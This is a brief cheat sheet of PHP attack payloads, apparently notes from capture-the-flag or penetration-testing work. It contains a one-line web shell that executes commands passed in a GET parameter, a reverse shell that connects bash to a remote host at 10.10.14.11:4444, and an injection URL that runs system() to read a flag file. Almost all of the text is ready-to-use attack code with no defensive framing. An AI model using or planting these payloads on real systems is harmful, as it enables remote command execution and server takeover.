PHP
Common exploits in PHP.
Cookies
PHPSESSID is the default session cookie name.
Web shell
<?php system($_GET["cmd"]); ?>
Reverse shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.11/4444 0>&1'");?>
Examples
http://<IP>:45338/?format=${system($_GET[id])}&id=cat%20../flag.txt